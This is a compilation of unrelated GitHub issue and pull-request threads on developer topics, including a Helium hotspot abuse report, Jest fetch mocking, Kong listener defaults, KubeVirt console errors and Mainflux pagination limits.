[Addition]: Hi, my name is Abraham Martinez<EMAIL_ADDRESS>we detect on person with 104 Hotspots doing gaming, with impossible altitudes and locations, please lep us to block this person. the owners of the 104 host spots is: 136VeVFCCXNTupsHywygSf2JTkC1NA3FBWKRWpk1k7kdZT4CSgi

Hotspot b58 Addresses
117YEMhFLAVXDLohxGTDQ73tZ4ukhwijF9dXHSvXzmQqevpVgnk
11GMHhmtcLSjYFrpbxBfZ4nvNBhHKCx65Q4LhiM4WM6DYiAANnH
11qsAfz75yNkYzbBSkTAq5pokgJJmCG2D7rKhfdH7vcPgZzBjwg
Discord Handle
abrahamcolombia#5429
Reason(s)
Hi, my name is Abraham Martinez (abraham@microsoft.com), I live in Colombia, southamerica, I join Helium network many years ago. Currently we manage a Community of more than 900 members, currently we detect a huge Gaming Scheme, the same owner has 104 Hotspots, all with the same altitude (2890 mts), similar witnesses and improbable location. We already reporting using the [suspots.com], but the person continues to adds many hotspots per day, all of them with the same configuration. Thanks in advance
the owner address is: 136VeVFCCXNTupsHywygSf2JTkC1NA3FBWKRWpk1k7kdZT4CSgi
Explorer Address : [https://explorer.helium.com/accounts/136VeVFCCXNTupsHywygSf2JTkC1NA3FBWKRWpk1k7kdZT4CSgi
Example Hotspot with impossible altitude and location: 11qsAfz75yNkYzbBSkTAq5pokgJJmCG2D7rKhfdH7vcPgZzBjwg
Explorer view: [https://explorer.helium.com/hotspots/11qsAfz75yNkYzbBSkTAq5pokgJJmCG2D7rKhfdH7vcPgZzBjwg]

thanks for your contribution

Wow hey Abraham Martinez, how long has it been? 10 years, 15? When reporting people for doing bad stuff on the network it doesn't look good when you try to impersonate a Director at the Microsoft Colombian division. Seriously, man, you don't need to pretend to be someone to get a punishment added.

Not sure who You are, but im not impersonated anybody, get informed and remember that linkedin exist.


[ML-27304][WIP] Remove unused env params in Feature Store ETL and Training notebooks

Removed unused env params in Feature Store ETL and Training notebooks

{{cookiecutter.project_name}}/notebooks/GenerateAndWriteFeatures.py
{{cookiecutter.project_name}}/notebooks/TrainWithFeatureStore.py

The reason we remove the env param is because

Staging and production models are already differentiated by their name in the TF config files: https://github.com/databricks/mlops-stack/blob/main/{{cookiecutter.project_name}}/databricks-config/prod/training-job.tf#L22
There is no need for differentiating feature tables by env and there is no use of env in downsteam APIs that we called.

Additional manual tests:

Ran the notebooks on Databricks

Also don't forget to change write-feature-table-job.tf and training-job.tf in both staging and prod to not pass in the env variables

Also don't forget to change write-feature-table-job.tf and training-job.tf in both staging and prod to not pass in the env variables

Done, also remove the occurrences in other tf and yaml files.


When DOI is available, link from publication page

Depends on
https://github.com/pombase/pombase-chado/issues/610

Any thoughts on where the DOI should be shown on the publication pages?

For testing I have:

Easy to put it somewhere else though.

OK!

I've made that change on the main site.


Add disaster recovery documentation

What would you like to be added:

Documentation on how to restore in case of a redis restore

Why is this needed:

While the docs state to keep redis backups and that it's absolutely required to keep the metadata in case of issues, theres no documentation on how to deal with scenarios like this.

@njoerd114 We just added a document on logical backup and restore for metadata.
For Redis, you can also use existing tools to backup Redis and restore it in case of disaster, once the Redis is restored, you can continue to mount it with the new REDIS-URL.
juicefs fsck is also useful the verify that all the data are consistent after recovery.


Fix Course Card Component card bug

Describe the task that needs to be done.
(If this issue is about a bug, please describe the problem and steps to reproduce the issue. You can also include screenshots of any stack traces, or any other supporting images).
The Course Card Component tests are not passing due to the change of structure. The test can be reproduce by running npm test
Describe how a solution to your proposed task might look like (and any alternatives considered).
Rewrite the test
Notes

LGTM! Thanks for creating this ticket


Since Jest update, Response is not defined for more than one file.

Hi,
I have migrated Jest from 0.8.2 to 0.10.2. I have fixed the small issues I had, except for one.
At this point, I have two API utils files (Flux architecture). To communicate with the REST API, I use the Fetch API, with whatwg-fetch as polyfill. So, to mock the request, I create a Response, as defined in the Fetch API.
Example:
fetch.mockReturnValueOnce(Promise.resolve(new Response(
    '',
    {
        status: 204
    }
)));

If I run the two files individually, they pass. If I run the two files one after the other, then the second one will throw an exception: - ReferenceError: Response is not defined, under Jest 0.10.2. However, under Jest 0.8.2, the tests passed.
NOTE
The project is under Windows and due to some issues with the multi threading, we have to use jest --runInBand. I have made a small project to reproduce, but I only had the issues with that config.
Thanks,
Pascale

Here is the Gist...

Would you mind re-trying this with Jest on master? I believe this bug was fixed recently.

Ok, I tried out your gist and can confirm that jest -i passes the tests on Jest 12.
I had to add this:
"unmockedModulePathPatterns": [
  "node_modules/babel-polyfill"
]

to the Jest config however. There might be a minor bug there, individual from your issue and I will try to repro that :) Thank you for your patience!

Oh yeah, that is indeed another bug I accidentally introduced. Fixed in #942 and will go out in 12.0.1. You won't need to add anything to the config then :)

Hi Christoph, thanks for the responses. I will try in few days. For now, I am out the office ;) Have a good day!

Everything is working. For history purpose, I had to change nothing, I did not add the babel-polyfill in the package.json and it is working.

I'm having this issue on Jest 15.1.1, both new Response and new Request give ReferenceError: Response/Request is not defined.
Any recommendations?

We should re-open this issue.
I am using version 23.6.0  and I am still getting this error.
Is importing the isomorphic-fetch the only solution?

This issue is more than 2 years old. If you have a similar one, please open up a new issue with reproduction steps


(material) error handling

currently, 500 is just returned for any number of reasons we should return a specific error code + a meaningful error message for the frontend to handle so users know why their upload failed.
uploads could fail for a number of reasons

file size exceed
bad file name (file names has to be a url encoding due to s3)
no authorization

All these cases need to be handled

Issue obsolete—materials is being removed.


Flipper.register should match any truthy value, not just true

We recently wrote something like the following, hoping to set a generic group for flipper usage.
Flipper.register(:reviewers) do |actor|
  actor.try(:email) =~<EMAIL_ADDRESS>end

It didn't work, because String#=~ returns an integer (the position of the match in the string) rather than true/false. Flipper groups only respond if the register block explicitly returns true.
This seems a bit unrubyish, so I wondered if there was a specific reason that only true was allowed rather than (IMO) the more usual convention of any truthy value?

It didn't work, because String#=~ returns an integer (the position of the match in the string) rather than true/false.

Hmm. That is annoying. I can see thinking that would work.

This seems a bit unrubyish, so I wondered if there was a specific reason that only true was allowed rather than (IMO) the more usual convention of any truthy value?

I prefer explicit and safety. It is safer to accidentally or confusingly keep something disabled than to accidentally or confusingly enable a feature. For example, in this case, though confusing that no one was enabled, there was no harm (other than your time spent confused about this and researching). The opposite is not true though. If a truthy-ish value (0, etc.) snuck in and enabled something for a bunch of people without one expecting that to happen, it could be really bad. That said, I can't really think of a good example of where truthy could burn (other than perhaps 0), so maybe I should change this. What are your thoughts? Still feeling truthy would be better?

I still do. Even 0 being truthy is a pretty consistent thing in Ruby, developers (as far as I'm concerned) are likely to understand how if statements work before they get to creating Flipper groups, even if they're previously familiar with languages like Javascript and PHP where 0 is falsey.
I do see your point about accidentally enabling a flipper being worse than the alternative, but I don't think it'll happen - not many methods return zero in a context where it would matter here. The main one I can think of is checking the size of a collection, and even then people are more likely to use a method which returns an actual boolean:
Flipper.register(:noted) do |actor|
  # Enable if user has any notes
  actor.notes.size #=> 0; ok, this would fail if all truthy values were accepted
end

But that's not idiomatic ruby, I think people are more likely to use one of: actor.notes.any? or actor.notes.size > 0.

If you decide not to make a change here, then the documentation for Flipper.register should at least be clear :)

I have a branch locally started to change. Hoping to finish it soon, but have some bigger things on my todo list right now. Feel free to whip something together if you have time.

@gareth opened up https://github.com/jnunemaker/flipper/pull/113. Any thoughts?

Aside from the comment I made on the commit, that looks like exactly the right change for us :)


docs(providers): Update ARMO docs

Overview

I'd like /docs/ to go away soon in favour of kubescape/kubescape.io.  Should we pick a different path?  scripts?


Lab 6 - Cant connect to VM console using virtctl console

As per ,
https://github.com/scollier/kubevirt-tutorial/blob/master/labs/lab6/lab6.md and https://kubevirt.io/labs/ocp/lab6
After deploying a test vm as shown below
[root@shegde-master0 ~]# oc get vms -o yaml hegde-vm
apiVersion: kubevirt.io/v1alpha3
kind: VirtualMachine
metadata:
  creationTimestamp: 2019-03-18T19:35:16Z
  generation: 1
  name: hegde-vm
  namespace: myproject
  resourceVersion: "4401932"
  selfLink: /apis/kubevirt.io/v1alpha3/namespaces/myproject/virtualmachines/hegde-vm
  uid: f54e2425-49b4-11e9-acdf-001a4a231206
spec:
  running: true

And
[root@shegde-master0 ~]# oc get vms
NAME       AGE       RUNNING   VOLUME
hegde-vm   12m       true
vm1        3d        true

When issued with virtctl console hegde-vm getting this error
[root@shegde-master0 ~]# virtctl console hegde-vm
Can't connect to websocket (500):

@DirectedSoul1 did it happened again? I couldn't reproduce it.

@ptrnull , this hapenned with kubevirt 0.15.0. It is fixed as of now with the latest version.

Thanks @DirectedSoul1
/close


IWW Issue #69 🎉, October 12th 2021

This pull request is for gathering links for the October 12th issue of the Immersive Web Weekly newsletter for the W3C Immersive Web Community Group.
If you have a link to a news article, event, artwork, or project that is directly related to the immersive web then we welcome your help!
To submit a link comment below using this template:
title: Example title of link
url: https://example.com/
author: Alice Smith
content: A short description of what is at the link and why it's related to the immersive web

Please keep in mind that comments here and all submitted links are public!
We keep each issue pretty short so we won't immediately use every submission but we keep track of them all and they may appear in a later issue.
Deadline
IWW goes out each Tuesday morning around 10am Pacific time.
Trevor will edit each issue on the Monday before publication so submissions after that will roll over for use in future issues.
If you need editorial support then email @TrevorFSmith<EMAIL_ADDRESS>

Nice

Nice

I was wondering who would be the first to make this joke. 😸


BluetoothLE sample - deviceWatcher does not raise Added event after EnumerationCompleted

I could be wrong, but I think that behavior of deviceWatcher in
BluetoothLE sample - Scenario1_Discovery.xaml.cs
is not what I expect after reading this:

The DeviceWatcher raises an EnumerationCompleted event when the initial enumeration is complete, and continues to raise events if a device is added, updated, or removed.

https://docs.microsoft.com/en-us/uwp/api/windows.devices.enumeration.devicewatcher#remarks
What I see is that if I power on a new device after an EnumerationCompleted, this device will not trigger the Added event handler. In other words, DeviceWatcher does not continue to raise events if a device is added.  So, I have to add to private async void DeviceWatcher_EnumerationCompleted these lines:
// quick fix: repeat the discovery process, so the KnownDevices list keeps refreshing after Enumeration has completed:
StopBleDeviceWatcher();
StartBleDeviceWatcher();

This is expected behavior, as we explicitly limit the discovery time via this API.  The Windows.Devices.Enumeration query for Bluetooth devices, depending on the baseband, will either perform a series of inquiry cycles, or perform active scanning at 100% duty cycle for approximately 30s.  After the enumeration is completed, these activities will be cancelled, as this has both serious power drain on the system, and will interfere with any other ongoing Bluetooth activities, such as audio streaming and HID usage.
Though the active discovery of the device has stopped at this point, if the device is found via other means, such as a directed advertisement through the whitelist, or an Advertisement Watcher, the results are still delivered to the enumeration API.
An application should not Stop/Start the watcher as you are doing here. This will, as I mentioned above, severely limit the available radio resources, preventing Audio, HID and WiFi (depending on the hardware) from working well on the system.  If you need a prolonged query to monitor for the presence of LE devices, I would recommend the Windows.Devices.Bluetooth.Advertisement.BluetoothLEAdvertisementWatcher API.  We have a sample available for this API as well.


update pothos example integration with the latest schema changes

See #166 for details.

@hayes could you help us out with updating pothos test integration with the latest schema changes?

@dariuszkuc opened a PR, let me know if that works.  Didn't update the main readme, but tests seem to pass

Awesome! Thanks!


feat: Create OAuth2 module (auth_oauth)

#597  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @Blckbrry-Pi and the rest of your teammates on  Graphite


Record snapshot single interval with unit tests

https://github.com/cyfitech/cris-core/issues/97

Seems like the current PR depends on another PR and some content has been copied from that branch... please review the tests folder only, I will make modifications afterward

Seems like the current PR depends on another PR and some content has been copied from that branch... please review the tests folder only, I will make modifications afterward

因为github的PR只会比较当前branch和PR目标（origin/master）的不同，而不会考虑你是不是有其他PR。这很正常。你只需要在描述或者评论区标注
Depends on:

- <DEPENDED PR URL (without `<>`)>

就可以了


Compiling content script with many modules is painfully slow

Hello, I'm using vitesse-webext to develop a fairly large browser extension where the majority of the code is in the content script (using React and other libraries like MUI and Framer Motion). However, the build times for my content script have become painfully slow, taking between 10 and 25 seconds per rebuild:
build started...
✓ 11020 modules transformed.
../extension/dist/contentScripts/index.global.js   744.09 KiB / gzip: 230.18 KiB
../extension/dist/contentScripts/index.global.js.map 3180.64 KiB
built in 17941ms.

Most of the time spent building is after it has printed out the "modules transformed" message - it sits there without any output for a considerable amount of time, then prints rendering chunks (1)..., then a half a second later prints out the rest of the output.
Is there any way I can make this build faster?

I experience the same issue, once I migrated to monorepo, the build times increased dramatically.

I experience the same issue, once I migrated to monorepo, the build times increased dramatically.

Which monorepo did you use? Turborepo? I'd love to see how you configured it.

Hello @Merlin04,
Sorry to reopen the topic so late, but dod you find anything to improve the build time? I face the same problem...
Cheers !

it's been a while so I don't entirely remember how it worked, but I think I made my own rollup configs/bundling system for development that compiled dependencies separately to an output folder with a file for each dependency in the package.json, wrote a babel plugin to transform imports in my content script to reference these new files, and used a custom implementation of systemjs to actually import these dependencies. this way the content script is compiled separate from dependencies and so it rebuilds really fast when you make changes. it's a pretty terrible hack, but it worked alright!
here's the code if you want to reference what I did: https://github.com/Merlin04/bandcamp


[test] Use filenames instead of script ID when printing test results

Closes https://github.com/onflow/cadence-tools/issues/254
Description
When printing the test results, it is difficult to guess from which test file the failures come from, e.g.
error: panic: runtime error
--><PHONE_NUMBER>000000000000000000000000000000000000000000000000000000:9:12

vs
error: panic: runtime error
--> tests/test_script.cdc:9:12

[x] Targeted PR against master branch
[x] Linked to Github issue with discussion and accepted design OR link to spec that describes this work
[x] Code follows the standards mentioned here
[x] Updated relevant documentation
[x] Re-reviewed Files changed in the Github PR explorer
[x] Added appropriate labels

cc @jribbink


Update HPA Algorithm Docs for v1.15

Updates detail around HPA behaviour when one or more metrics is unavailable brought in by https://github.com/kubernetes/kubernetes/pull/78503
Also changes a link to algorithm details from initial design proposal in Github.

/lgtm
/approve


如何自定義混合量化時的輸入層運算類型

要如何做才能轉換成float16
W hybrid_quantization_step2: The default input dtype of 'images' is changed from 'float32' to 'int8' in rknn model for performance!
                       Please take care of this change when deploy rknn model with Runtime API!

我試了在.cfg文件中使了以下改動
custom_quantize_layers:
    'images': float16

但出現錯誤
E hybrid_quantization_step2: Invalid operands name 'images' in custom_quantize_layers!
W hybrid_quantization_step2: ===================== WARN(1) =====================
E rknn-toolkit2 version: 1.5.0+1fa95b5c
E hybrid_quantization_step2: Catch exception when build RKNN model!
E hybrid_quantization_step2: Traceback (most recent call last):
E hybrid_quantization_step2:   File "rknn/api/rknn_base.py", line 1977, in rknn.api.rknn_base.RKNNBase.hybrid_quantization_step2
E hybrid_quantization_step2:   File "rknn/api/quantizer.py", line 208, in rknn.api.quantizer.Quantizer.load_hybrid_cfg
E hybrid_quantization_step2:   File "rknn/api/quant_utils.py", line 610, in rknn.api.quant_utils.apply_hybrid_cfg
E hybrid_quantization_step2:   File "rknn/api/rknn_log.py", line 112, in rknn.api.rknn_log.RKNNLog.e
E hybrid_quantization_step2: ValueError: Invalid operands name 'images' in custom_quantize_layers!
W If you can't handle this error, please try updating to the latest version of the toolkit2 and runtime from:
  https://eyun.baidu.com/s/3eTDMk6Y (Pwd: rknn)  Path: RK_NPU_SDK / RK_NPU_SDK_1.X.0 / develop /
  If the error still exists in the latest version, please collect the corresponding error logs and the model,
  convert script, and input data that can reproduce the problem, and then submit an issue on:
  https://redmine.rock-chips.com (Please consult our sales or FAE for the redmine account)
hybrid_quantization_step2 failed!

之後我嘗試改動images_int8 layer轉換成float 16, 但它依然不能轉換images layer到float 16
W hybrid_quantization_step2: The default input dtype of 'images' is changed from 'float32' to 'int8' in rknn model for performance!
                       Please take care of this change when deploy rknn model with Runtime API!


Update CreateAndSubmitAppSubmissionExample.py

issue: #4467
In the updated version of the code, we verify the success of each API call by checking the value of is_ok. If it returns True we continue to process the received data. However, if it returns False, an error message is displayed and appropriate error handling measures are taken or the script is terminated.

@mattwojo
Can you review the proposed changes?
When the changes are ready for publication, add a #sign-off comment to signal that the PR is ready for the review team to merge.
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team


Nav bar could not be hidden

Setting "hide" property on the header's style doesn't do anything.
The [navigationController setNavigationBarHidden:YES] gets called but nothing changes, nav bar remains visible.

@golopupinsky , Can you please provide json url so that we can debug?

Issue fixed. Pull Request


feat: enable reuseport option for Nginx listen directive by default

and allow specifying backlog=N options in listener flags
This enables the reuseport flag by default, and use a higher backlog to help with high traffic servers.
It should have no impact on existing use case, only that server with lots of worker now sees more evenly distributed load and connection across workers. it also reduces issue such as https://discuss.konghq.com/t/concurrent-websocket-connections/4854 from occurring.
Note on the backlog value. It is set to a fairly high value 16384 to help handle burst of TCP connections better. The backlog is by default set to unlimited on BSD systems and 511 on Linux, which is on the lower end and Kernel can easily handle more connections than that.
However, note that from the man page of listen:

If the backlog argument is greater than the value in
/proc/sys/net/core/somaxconn, then it is silently truncated to that
value; the default value in this file is 128.  In kernels before
2.4.25, this limit was a hard coded value, SOMAXCONN, with the value
128.

Which means that it is also limited by the somaxconn Kernel param on Linux. somaxconn is set fairly low by default, and we document in kong.conf to make sure people is aware the necessity of bumping somaxconn at the same time in order for the config to take effect.
As a reference, in Kubernetes Ingress Controller, they always fetch the current value of somaxconn and use that as the backlog argument, but for us that is not necessary. The Kernel will handle it.
Note that raising backlog would not cause any increase of memory usage for normal users, as the TCP connection backlogs are not pre-allocated but rather stored in a dynamically growing/shrinking linked list on demand (https://elixir.bootlin.com/linux/latest/source/include/net/sock.h#L924, https://elixir.bootlin.com/linux/latest/source/include/net/sock.h#L897).

While you are at it, mind you adding so_keepalive=* too?

@bungle Yes that's a good suggestion. Although so far there has been no use cases associated on so_keepalive in both Kong and Nginx Kubernetes Ingress so I would say we can do this in a later version and merge this PR as-is for now. I have created a card to keep track of it.


Typo in string files.

Typo in strings:
"You can add new products, even if you don't have an Internet connexion right now. " must be changed to "You can add new products, even if you don't have an Internet connection right now."

@ManavPoddar i have fixed it already. Just need to push changes

ok great, Go ahead :)

Done :-)


Quick question on version tags

Hi there,
I'm a bit confused about version tags in this module. I'd say it mostly stems from the Readme.md which says:

A SilverStripe 3 version is available as ^2.x, and a SilverStripe 2.4 version is available as ^1.x.

As an aside, I had a look at the installation command on the Readme.md file, but it seems there is no 3.x tag at all.

composer require "heyday/silverstripe-wkhtml:^3"

The only 2.x tag is 2.0.0-beta, which appears to be for SS4. 1.1.1 doesn't have any require dependencies on SS, but does have a require-dev dependency for SS 3.1.*@dev.
Am I right in assuming that the doc here has just fallen out of sync somewhere along the line and the latest version of this module for use with SS 3.7 would be 1.1.1 despite what it says?

Hi @muppsy007
You're absolutely right, the version information in the README is incorrect.
Looking back through the tags, I would recommend:

1.1.1 for SilverStripe 3
2.0.0-beta for SilverStripe 4

Thanks @HJGreen


ENH: add Chart.serve() command to serve HTML

This PR adds a functionality to create altair plots from outside the Jupyter notebook; e.g.
from altair import Chart, load_dataset

cars = load_dataset('cars')

chart = Chart(cars).mark_point().encode(
    x='Horsepower',
    y='Miles_per_Gallon',
    color='Origin',
)

chart.serve()

The final line will create a local web server, and by default launch a web browser window showing this visualization.

I'm going to merge this; we can iterate later if needed.


feat: onboard php source

Description of the change
Fixes https://github.com/rudderlabs/terraform-provider-rudderstack/issues/114
Based on https://github.com/rudderlabs/terraform-provider-rudderstack/pull/83/files
I ran tf apply locally in the examples folder, which passed. I'm not sure whether I need to generate the docs from the templates? Is there anything else I should do?
Type of change

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

Checklist:

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas
[x] I have added unit tests for the code
[x] I have made corresponding changes to the documentation

.


Process exiting with non-zero status should make overmind exit with non-zero

Procfile containing:
f: false
Expected behaviour:
$ overmind start
system | Listening at /tmp/.overmind.sock
system | Tmux socket name: overmind-overmind-gLAYeyr_TE38E5VIZrJAlt
system | Tmux session ID: overmind
f      | Started with pid 23069...
f      |
f      | Exited

$ echo $?
1

Actual behaviour:
$ overmind start
system | Listening at /tmp/.overmind.sock
system | Tmux socket name: overmind-overmind-gLAYeyr_TE38E5VIZrJAlt
system | Tmux session ID: overmind
f      | Started with pid 23069...
f      |
f      | Exited

$ echo $?
0

Added to v2.0


Thanks @thheller :+1: :smiley: Appreciate you taking the time to review and make these improvements. Its a lot simpler.


ISSUE: BE469ZP can set usercodes but cannot clear usercodes (v0.0.26)

Able to set usercodes via lovelace UI but unable to clear usercodes.
Enabled keymaster debug log, and this is what I get when I try to set a usercode:
2021-03-05 23:32:32 DEBUG (MainThread) [custom_components.keymaster] Add Code service: <ServiceCall keymaster.add_code (c:d8f8cb8e1cad0d0ae8b3304c7587e8dc): entity_id=lock.schlage_front_frontdoor, code_slot=3, usercode=1234>
2021-03-05 23:32:32 DEBUG (MainThread) [custom_components.keymaster.services] Attempting to call set_usercode...

Then the code will take.
When I attempt to disconnect the code, there is no trace of it in the debug log. Just the usual:
2021-03-05 23:32:36 DEBUG (SyncWorker_5) [custom_components.keymaster] DEBUG: Code slot 3 not enabled
2021-03-05 23:32:36 DEBUG (SyncWorker_5) [custom_components.keymaster] DEBUG: Code slot 4 not enabled
2021-03-05 23:32:36 DEBUG (SyncWorker_5) [custom_components.keymaster] DEBUG: Code slot 5 not enabled

etc.
I am able to clear the code thru the zwjs2mqtt UI, and when that happens, I do get the:
2021-03-05 23:32:31 DEBUG (MainThread) [custom_components.keymaster] Clear Code service: <ServiceCall keymaster.clear_code (c:8d3737aed7f960aa95e8fb87a6e4f1ad): entity_id=lock.schlage_front_frontdoor, code_slot=3>
2021-03-05 23:32:31 DEBUG (MainThread) [custom_components.keymaster.services] Attempting to call clear_usercode...

Works the same for all 3 of my locks (all BE469ZP)

I think this is related to my comment in #109.
The synchronize automation is not firing because the pin slot matches the code slot when going from a connected to a disconnected state.

you're right @CJOWood . I will work on a fix sometime this weekend

@CJOWood can you try copying this into your custom_components/keymaster folder, regenerate your package files, and see if it works now: https://github.com/raman325/keymaster/blob/16c42207e53076ad04db893de98a5675bbc595c0/custom_components/keymaster/keymaster.yaml
Can you also try this one: https://github.com/raman325/keymaster/blob/4b8dedef0e2f94691c0fcd1cd37d1f6363a2b309/custom_components/keymaster/keymaster.yaml
Let me know which, if any, or if both, work!

Both files work for me for setting/clearing codes. Second file gives me an error when attempting either (code still takes though).
2021-03-07 14:29:13 WARNING (MainThread) [homeassistant.components.automation.synchronize_codeslot_frontdoor_4] synchronize_codeslot_frontdoor_4: Already running

Both files work for me for setting/clearing codes. Second file gives me an error when attempting either (code still takes though).
2021-03-07 14:29:13 WARNING (MainThread) [homeassistant.components.automation.synchronize_codeslot_frontdoor_4] synchronize_codeslot_frontdoor_4: Already running

great! I can silence the log message assuming @CJOWood also doesn't have any issues

Hey @raman325, finally got some time to test it out.
Interestingly, the first one 1 seemed to give me that race condition (connecting --> connected --> connecting --> etc).
The second one worked wonderfully.
Thanks for you hard work on this project!

I think I know what's going on. @CJOWood can you try https://github.com/raman325/keymaster/blob/4794d621214a191485c2cef7ee8fbf31a9964548/custom_components/keymaster/keymaster.yaml ?

@raman325 That seems to be working well. No issues.

alright new version with the changes should be up


feat(provider): provide options to disable addLocalFallbacks

This PR adds a disableLocalFallbacks option in fonts.defaults.

I think the first step is to ensure we are generating correct name for the local font file. Adding font weight (e.g. 'Arial Bold' rather than just 'Arial') is likely the correct step.

@danielroe I agree. I've opened #71 for that.

Do you think we still need this following #71?

Hmm, I don't think so. It should be able to match font weights correctly now.


change in onChange not working

Are you submitting a bug report or a feature request?
bug report
What is the current behavior?
When one field value changes,  I want to change another field value.
So I call change in onChange event handler, but the field I want to change has no changes.
What is the expected behavior?
change should work
Sandbox Link
https://stackblitz.com/edit/react-dw6c5r
In the case, If I change the first Name, the age should be changed, but it is not happening.
What's your environment?
redux-form: 7.0.3,
browser: chrome
Other information

Cannot do change in onChange, otherwise it will be infinite loop.


How to use run_continuiously?

What is the syntax to use the run_continuously function? I tried run_continuously(name) and run_continuously(schedule.every().day.at("00:30").do(name)) but both didnt work. Also, where do i put the function?

Looks like this is a dupe of #69. Let's continue the discussion over there.


add hyperterm-oceanic-next to themes

Hey - could you please take a look at CONTRIBUTING.md to make sure the item follows the guidelines? Most importantly is the high-quality message on why this theme is good (because it definitely is)!

Most importantly is the high-quality message on why this theme is good

Would something along these lines suffice? It's essentialy a straight-up dupe of the description of the base theme - I'm not sure what personal touches I'd add to it.
- [hyperterm-oceanic-next](#) - Dark blue theme optimised for ES2015. Ported from [Oceanic Next](#)

@kasperlewau Yes, that would work! Thanks.

@bnb Rebased and fixed up the description 👌

Merged! Thanks!


Samples and examples

Hello, thanks for this project, you have any demo app with some sample code examples by chance?

Here's an example:
//load component dependencies
    var POP = require("guy.mcdooooo.tipop");

    //create component instance
    var self = Ti.UI.createWindow({
        backgroundColor:'#ffffff'
    });

    //construct UI
    var firstView = Ti.UI.createView({
        width: 200, height:100, backgroundColor:'red', bottom: 30, left: 20
    });
    firstView.addEventListener('click', function() {
        POP.basic(firstView, {
            top:100,
            left:500,
            opacity: 0.7,
            backgroundColor: '#AABBE0', // to blue
            borderRadius:30,
            easing: 'easeOut',
        });
    });
    self.add(firstView);

Hi @nuno :
The usage is exactly the sample code @yozef showed, try different animations (basic, spring and decay) with their properties (easing, springBounciness or delay etc.) as the Function List described.

Hi @nuno :
The usage is exactly the sample code @yozef showed, try different animations (basic, spring and decay) with their properties (easing, springBounciness or delay etc.) as the Function List described.

Hi @nuno :
The usage is exactly the sample code @yozef showed, try different animations (basic, spring and decay) with their properties (easing, springBounciness or delay etc.) as the Function List described.

@yozef @McDo Cool, I will try right way :) Thanks


Implement JSError

Added new type JSError. Its functionality was mostly taken from the Error type in node-addon-api:

It wraps JSReference
It can store JavaScript Error object instance or any other type. Since napi_ref can keep only objects and symbols, other types are stores as a special property inside of a wrapper object.

JSException wraps JSError and can pass it around. All existing code that can throw C# exceptions is converted to use try/catch and propagate the JSError via JSException, or to throw new JS 'Error' based on C# exception Message.
JSPromise is changed to use JSError to resolve related TODOs.
JSValueScope is fixed for Handles to make sure that it uses non-null napi_env.

Maybe not in this PR, but eventually it would be great to propagate stack traces across .NET / JS.

Maybe not in this PR, but eventually it would be great to propagate stack traces across .NET / JS.

I will see how to do it in a follow up PR.


Server Crash with Deathpunk Enchant

Crash Log: https://gist.github.com/darkphan/10331cd6a29c5561c6eb510510a31d99
Mod Version: flowingagony-1.16.5-beta-0.2.4
Forge Version: 36.1.32

Bug is fixed.
You can download it at https://www.curseforge.com/minecraft/mc-mods/marblegates-exotic-enchantment-flowing-agony/files/all
If curseforge is processing the file, you can download here: https://drive.google.com/file/d/14DauL4nc_GyZYwWPyFbe7Av0j-9Qk5NX/view?usp=sharing


Push on commit

What feature do you want to see added?
Hi, it seems that after changes in the repo images are not being pushed to Docker hub?
At least I cannot see the changes done to Ruby image recently.
https://hub.docker.com/r/jenkins/jnlp-agent-ruby/tags
Would it be possible to automate this part?
Upstream changes
No response

Update: the job in charge of deploying these images was removed 14-15 months ago in the private controller in charge of deploying images.
The job's been added back to sustain the deployment: it might need a few fixes on the pipeline before succeeding.

Hi @pablogrs , the problem is now solved: can you confirm?

Hi, the image is there, thank you.


Go to line function

Available via Ctrl+G hotkey or in main menu Edit section.
It opens a small window in the center, focuses on the text box and allows a clamped numerical input.
It scrolls and focuses to desired line in the document. A few notes:

The only supported languages are Polish and English. All languages must be added but I am no polyglot.
It's my first time with C#, code/XAML writing shortcomings are expected.

[x] Main functionality
[ ] All languages supported

Great work!
I changed two things:

Added ESC/Enter functionality
Changed margins

Thanks!


Wren's performance compared to derivatives?

They all claimed they are faster than origin Wren!
https://github.com/marcobambini/gravity
https://github.com/ThakeeNathees/pocketlang
https://github.com/vtereshkov/umka-lang

And? Based on what test(s)? As any language implementations, it has it good
point and implementations pitfalls... Starting a crusade based on no
reference testcase is a waste of time.

And? Based on what test(s)? As any language implementations, it has it good point and implementations pitfalls... Starting a crusade based on no reference testcase is a waste of time.

Please visit the github repo of these derivatives. They all present a graph showing how superior they are to Wren and the poor Python always be the slowest.

I looked at every benchmark (but gravity, that I didn't found).
I think that most of them are not fair (even some of ours). I think most
of benchmark the GC. Some are out of our scope (unless we change our mind),
like an having a multipass compiler.
Even the Fibonacci test, which seems to be innocent, benchmark the GC
because of the stack setup and growth.
That said, maybe we can improve some aspect of our compiler, and opcodes to
improve some aspect of our vm. But at the end of the day, we can tweak some
of these bad performances in these benchmark with some better configuration
numbers of the GC.
So unless we compare the opcodes and their implementations, it should not
be a fair comparison.


Retrieve all channels for a thing or things for a channel without built in limit

FEATURE REQUEST

Is there an open issue addressing this request? If it does, please add a "+1" reaction to the
existing issue, otherwise proceed to step 2.
No

Describe the feature you are requesting, as well as the possible use case(s) for it.
If I have more than 100 channels connected to one thing, and I want to get them all, only 100 are returned, because there is a maxLimit set to 100.
It would be cool if we could set the limit = -1, for getting all the channels a thing is connected to, or something similar.
Also, the same applies to the retrieval of all the things a channel is connected to.

Indicate the importance of this feature to you (must-have, should-have, nice-to-have).
Must-have

@bbokun what if we increase the limit?

@bbokun is there something preventing you to use pagination (i.e. send several request to get page by page with limit as a param)? Problem with retrieving all objects from DB can be unpredictably long.
Also - we can make max limit configurable if needed.

Hello my friends, I hope you are well!
@drasko
We did a pagination in our backend, but I rather see this as a workaround than as a solution.
If I need all the data, then I need it, and the duration of retrieving all the objects from the DB is definitely longer if I do pagination then if I get all the data directly.
One other thing relates to the "error" handling in this case - For example: I want to get all the channels a thing is connected to, and let's say we have 203 channels connected then we call - get the first channel (limit=1), the result is the channel and the total count of channels - in our case 203. Then we tried to call with limit=203, and we get an error - "malformed entity specification" - there is no indication that we hit the built in limit - only a trial and error method gave us the possibility to solve this.
I think that my proposed solution with some declarative limit parameter which would return everything would help to prevent situations like this.
@manuio
